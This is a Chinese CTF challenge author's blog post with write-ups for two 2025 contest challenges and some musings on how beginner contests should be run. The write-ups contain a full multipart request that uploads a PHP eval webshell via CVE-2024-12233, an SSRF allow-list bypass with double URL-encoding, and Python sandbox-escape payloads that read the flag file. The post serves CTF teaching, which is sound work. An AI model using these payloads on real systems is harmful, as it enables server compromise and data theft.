近期的一些出题小记 & 闲话
写在前面
这篇文章不完全是 wp,也有一部分是对出题的感想,可以当成是碎碎念吧。但是为了方便师傅们看 wp 我会把两个部分分开来。
最近同时给两个比赛出了题:ISCTF 2025(新生赛) 和 Mini V&N CTF 2025(V&N联合战队的内部招新赛)就先写这些。以前还给一些比赛出了题,太久远了,懒得再写了。
ISCTF 2025 b@by not1ce board
首先这是个新生赛。所以,我出题的目的应该是引导新生学习东西。最近做 XCTF 的 php 审计有点红了,想让新生提前学会看 CVE nday 的能力。于是就索性从自己水的 CVE 里挑了一个来出题:CVE-2024-12233
CVE 官网的链接:https://www.cve.org/CVERecord?id=CVE-2024-12233
好,那这个题的知识点就是:
- 利用已知的 CVE 漏洞去复现在实战场景中的能力
那接下来,我要如何引导新生学这个呢?
我们都知道在 CVE 的披露过程中最有用的一般就是披露者自己写的 blog 或者 github repo。这种东西又叫做第三方披露(Third Party Advisory)。

那么,我现在是这个漏洞的提出者,我直接把指引放在我的 github repo 上就可以了。

因为我的目的只有让新生学习 CVE。所以,复现和黑盒探索部分不应该是难点。因此我这里直接在我的 repo 里贴了完整的包,并且直接在题目描述里贴了 CVE 编号和项目的原始文件。
最后的 exp 其实已经写在仓库里了
POST /registration.php HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 1172
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8081/registration.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="n"
test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="e"
test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="p"
test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="mob"
test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="gen"
test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="hob[]"
reading
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="img"; filename="basic_webshell.php"
Content-Type: application/octet-stream
<?php @eval($_GET['attack']);?>
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="yy"
1950
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="mm"
2
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="dd"
3
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="save"
Save
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB--
这样就能在/images/test/basic_webshell.php?attack=里传个马了。后面就直接在马里cat /flag就行。
/images/test/basic_webshell.php?attack=cat%20/flag
Mini V&N CTF 2025 check_in
现在,我要给 V&N 战队的招新赛出题。那么,我的目的是出有区分度的题目,把有实力的新生选出来。就CTF来说逻辑漏洞应该是永恒的主题,所以我打算出个 python 的白盒题,考一些基本功的同时再融一个逻辑漏洞进去。
题目给出的源码:
'''
I wish you a good head start.
flag is in file namely 'flag' in the same directory as this file.
Good luck!
'''
import re
import flask
import requests
import ipaddress
from urllib.parse import urlparse
GENERAL_WAF_REGEX = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}' # only two of these characters ;)
app = flask.Flask(__name__)
def general_waf(code):
# Why do you need so many characters?
if re.findall(GENERAL_WAF_REGEX, code):
return True
else:
return False
def check_hostname(url):
# must starts with vnctf.
if not url.startswith('http://vnctf.'):
return False
hostname = urlparse(url).hostname
query = urlparse(url).query
# must only contain two of the restricted characters
if general_waf(query):
return False
# must not be an ip address, so no 127.0.0.1 or ::1
try:
ipaddress.ip_address(hostname)
return False
except ValueError:
pass
return url
@app.route('/')
def index():
return 'Welcome to MINI VNCTF 2025!'
@app.route('/fetch')
def fetch():
url = flask.request.args.get('url')
safe_url = check_hostname(url)
if safe_url:
try:
response = requests.get(safe_url, allow_redirects=False) # no redirects
return response.text
except:
return 'Error'
else:
return 'Invalid URL'
@app.route('/__internal/safe_eval')
def safe_eval():
# check if the request is from the internal network
if flask.request.remote_addr not in ['127.0.0.1', '::1']:
return 'Forbidden'
code = flask.request.args.get('hi')
if len(code) >= 24 * 10 + 8 * 8:
# Man! What can I say.
return 'Invalid code'
# Ah, if you get here, then your final challenge is to break this jail.
# Try it. Not as hard as it seems ;)
blacklist = ['\\x','+','join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9']
for i in blacklist:
if i in code:
return 'Invalid code'
safe_globals = {'__builtins__':None, 'lit':list, 'dic':dict}
return repr(eval(code, safe_globals))
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8080)
可以看到有一个很明显的/__internal/safe_eval路由作为 sink,然后他又有flask.request.remote_addr的限制,所以联想到上面的/fetch路由打一个 SSRF。
fetch路由有很多 WAF。首先这部分 WAF 是一些 SSRF 基础:
def check_hostname(url):
# must starts with vnctf.
if not url.startswith('http://vnctf.'):
return False
hostname = urlparse(url).hostname
query = urlparse(url).query
# must not be an ip address, so no 127.0.0.1 or ::1
try:
ipaddress.ip_address(hostname)
return False
except ValueError:
pass
return url
我们都知道在 URL 后面添加@可以屏蔽掉前面的信息。即:https://baidu.com@lamentxu.top 会指向此博客。因为@前面的baidu.com被屏蔽掉了。这个特性在实战中多见于 CSRF 利用。
这样,我们可以通过构造 http://vnctf.@ 开头的 payload 绕过对前缀的限制。
接下来是检测 hostname 不为 IP 地址。也是很基础的内容了。因为localhost在此处也可以访问到127.0.0.1的东西而不是一个合法的 IP 地址。所以我们可以直接用localhost来绕过这个 WAF,由app.run(debug=False, host='0.0.0.0', port=8080)一行我们知道服务开在8080端口,所以我们通过访问localhost:8080即可完成 SSRF。到这里,我们的 payload 长这样:
http://challenge.ilovectf.cn:30276/fetch?url=http://vnctf.@localhost:8080/__internal/safe_eval%3fhi=1
我们给 hi 传入值为 1。这样假设 eval 执行成功则返回 1:

没有问题。注意,此处需将url参数进行一次 URL 编码。否则会导致解析歧义(如参数里的?需编码为%3f)
接下来是一个很简单的 pyjail。但是,在 pyjail 之前有个很头疼的 WAF,这也是此题的考点所在:
GENERAL_WAF_REGEX = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}' # only two of these characters ;)
以上字符只能连续出现两次。
我们都知道,HTTP 服务器会自动对 GET 参数进行 URL 解码(见 RFC 3986 Section 2.4)。而我们对任意字符,都可以使用 URL 编码代替。但是,对应的 URL 编码器并不会对一些不会引起歧义的字符进行编码。具体见 RFC 3986 Section 2.3
For consistency, percent-encoded octets in the ranges of ALPHA
(%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D), period (%2E),
underscore (%5F), or tilde (%7E) should not be created by URI
producers and, when found in a URI, should be decoded to their
corresponding unreserved characters by URI normalizers.
所以我们很少见到 A 被编码成 %41。但是,%41这样的编码虽然不会由 URL 编码器产生,但是却可以被 URL 解码器解码为A。具体,可以读一遍上述的 RFC 3986 文本。我们做个实验:
from urllib.parse import quote, unquote
print(quote('A'))
print(unquote('%41'))

可以看到A没有被编码,而%41却被解码为A。
注意到/fetch路由访问时:
response = requests.get(safe_url, allow_redirects=False) # no redirects
这里,当我们带着safe_url访问到/__internal/eval路由的那一瞬间,flask会将safe_url里的参数进行一次URL解码。而这个正则表达式的检查,在这次解码之前。也就是从逻辑上来说,我们获得了一次在 WAF 之后改变 payload 内容的机会。
注意到 WAF 没有过滤%。所以至此,利用链成立,我们将 pyjail 的 payload 进行两次 URL 编码(注意此处的编码要将所有字符全部转换)这样AAA就变成了%2541%2541%2541。而解码一次后,在 WAF 时,它会变成进行一次URL解码前的样子。如AAA会变成%41%41%41(%的 URL 编码为 %25)。这不会触发 WAF。而 SSRF 时,%41%41%41会被正常解码为 AAA。
好,接下来就是 pyjail 环节。
if len(code) >= 24 * 10 + 8 * 8:
# Man! What can I say.
return 'Invalid code'
blacklist = ['\\x','+','join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9']
for i in blacklist:
if i in code:
return 'Invalid code'
safe_globals = {'__builtins__':None, 'lit':list, 'dic':dict}
return repr(eval(code, safe_globals))
简单基础的 pyjail。做法很多。这里说几个东西:
-
很多师傅为了找数字索引(如 87)用位运算符来构造数字(因为除了0和1其他数字都被 ban 了)这个思路是没有问题的。但是更简单的做法是利用 python int 类型字面量的
0b二进制来表示数字。如3可以用0b10来表示,因为1和0没有 ban 所以可以直接用二进制来表示所有数字 -
很多师傅用了公式继承链的办法。其实这里有一些其他的办法可以绕过。继承链受到版本和环境影响,要去找对应的索引,利用起来相对麻烦。以下的 payload,既不需要用到任何除0和1以外的数字,也可以在所有版本通杀:
lit.__class__.__subclasses__(lit.__class__).__getitem__(0).register.__globals__.get(lit(dic(__builtins__=1)).__getitem__(0)).get(lit(dic(open=1)).__getitem__(0))(lit(dic(flag=1)).__getitem__(0)).read()
用abc.ABCMeta的register这个function(而不是method)直接找全局下的__builtins__完成利用。注意这里给出了 flag 所在的文件文件名,所以可以不必 RCE 直接找open读文件就行。
很多师傅用的 Typhon 工具一把梭。嗯......我其实是试过了,应该是不行的,因为 Typhon 无法处理 RCE 读文件时多出来的空格(list和dict构造字符串是不允许有空格)。这里如果要梭也是用bypassREAD这个 API 去打:
import Typhon
Typhon.bypassREAD(
'flag',
local_scope={'lit': list, 'dic': dict, '__builtins__': None},
banned_chr= ['\\x','+','join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9'],
max_length=8*8+24*10,
)
比赛的时候这个 API 应该还没有上线。所以是梭不了的。但是有些师傅很厉害啊,把空格去了来梭,再想办法加上,更有甚至直接去给我工具源码改了梭了,牛逼👍。
贴一个来自xinns师傅的 RCE 的示例。用 __repr__ 属性获取空格拼接。可供大家学习:
lit(lit.__base__.__subclasses__().__getitem__(11*11--11--1--1--1--1--1--1).__init__.__globals__.values()).__getitem__(11-11-1-1-1-1-1)(lit(dic(cat=1).keys()).__getitem__(0).__add__(dic(a=1).__repr__().__getitem__((1<<(1<<1))|1)).__add__(lit(dic(flag=1).keys()).__getitem__(0))).read()
最后将 payload URL 编码两次,再带上上述的 SSRF 绕过即可。最终 exp:
http://challenge.ilovectf.cn:30136/fetch?url=http://vnctf.@localhost:8080/__internal/safe_eval%3fhi=%256c%2569%2574%252e%255f%255f%2563%256c%2561%2573%2573%255f%255f%252e%255f%255f%2573%2575%2562%2563%256c%2561%2573%2573%2565%2573%255f%255f%2528%256c%2569%2574%252e%255f%255f%2563%256c%2561%2573%2573%255f%255f%2529%252e%255f%255f%2567%2565%2574%2569%2574%2565%256d%255f%255f%2528%2530%2529%252e%2572%2565%2567%2569%2573%2574%2565%2572%252e%255f%255f%2567%256c%256f%2562%2561%256c%2573%255f%255f%252e%2567%2565%2574%2528%256c%2569%2574%2528%2564%2569%2563%2528%255f%255f%2562%2575%2569%256c%2574%2569%256e%2573%255f%255f%253d%2531%2529%2529%252e%255f%255f%2567%2565%2574%2569%2574%2565%256d%255f%255f%2528%2530%2529%2529%252e%2567%2565%2574%2528%256c%2569%2574%2528%2564%2569%2563%2528%255f%255f%2569%256d%2570%256f%2572%2574%255f%255f%253d%2531%2529%2529%252e%255f%255f%2567%2565%2574%2569%2574%2565%256d%255f%255f%2528%2530%2529%2529%2528%256c%2569%2574%2528%2564%2569%2563%2528%256c%2569%256e%2565%2563%2561%2563%2568%2565%253d%2531%2529%2529%252e%255f%255f%2567%2565%2574%2569%2574%2565%256d%255f%255f%2528%2530%2529%2529%252e%2567%2565%2574%256c%2569%256e%2565%2528%256c%2569%2574%2528%2564%2569%2563%2528%2566%256c%2561%2567%253d%2531%2529%2529%252e%255f%255f%2567%2565%2574%2569%2574%2565%256d%255f%255f%2528%2530%2529%252c%2531%2529
碎碎念
后面是一些就最近的出题情况引发的感想。
新生赛是办来做什么的
我们到底为什么办新生赛。我依稀记得是为了鼓励新生学东西,不知道有没有师傅对这个有别的想法。所以,新生赛的题目可以很简单,可以非常简单,但是一定要让新生学到东西,而且不能消磨刚入门的人对于 CTF 的兴趣。
这种比赛的排名是不重要的。我不认为我们需要在新生赛里出很需要区分度的题目,显然这不是需要区分高下的场景。
ISCTF 的 web 在这方面可以说是反面教材。我认为 ?CTF 和 0xgame(除最后一周) 在这方面就做的相对不错。ISCTF 的 web 到后面的难题,与其说是鼓励新生学习,不如说是来区分新生高下的,或者极端一点,是用来区分新生和老登的,因为新生根本不可能独立做出来。这已经违背了我们办新生赛的初衷。?CTF的题虽然不简单,但是每个题都有引导,都能让新生有及时的正反馈,能让人做下去,学到东西。这样的比赛是好的新生赛。
又被鞭尸了
前两天看到 ISCTF 难过的bottle 一个题考到了我 XYCTF 曾经出的 trick。唉,每次想到这个 trick 就好难受。
以前觉得,我发现的东西一定要留个名字在上面,方便我去炫耀。现在觉得,那会在题目上署名简直就是愚蠢到不能再愚蠢的行为。加上也不懂出题,题目质量也就那样吧。做起来很,哦不对,非常折磨。以我现在的眼光去看,就像是,呃,你们去看你们中学时期发的 QQ 空间那种表情。嗯嗯。
只能说沉淀。越学发现自己不会的越多,真的是这样的。这两天在招新赛遇上了很多才华横溢的新生,他们都比我强,也没我这心气。真正厉害的人都是低调的。
另外补一个,那个斜体字的题目如果 ban 了所有字符(包括f,l,a,g)依然是可以打的。具体怎么打留给大家来想。(我不知道出题人会不会在 wp 里说hhh)
好了。感谢你看到这里。也感谢你抽出时间,来做我出的题目。谢谢。

浙公网安备 33010602011771号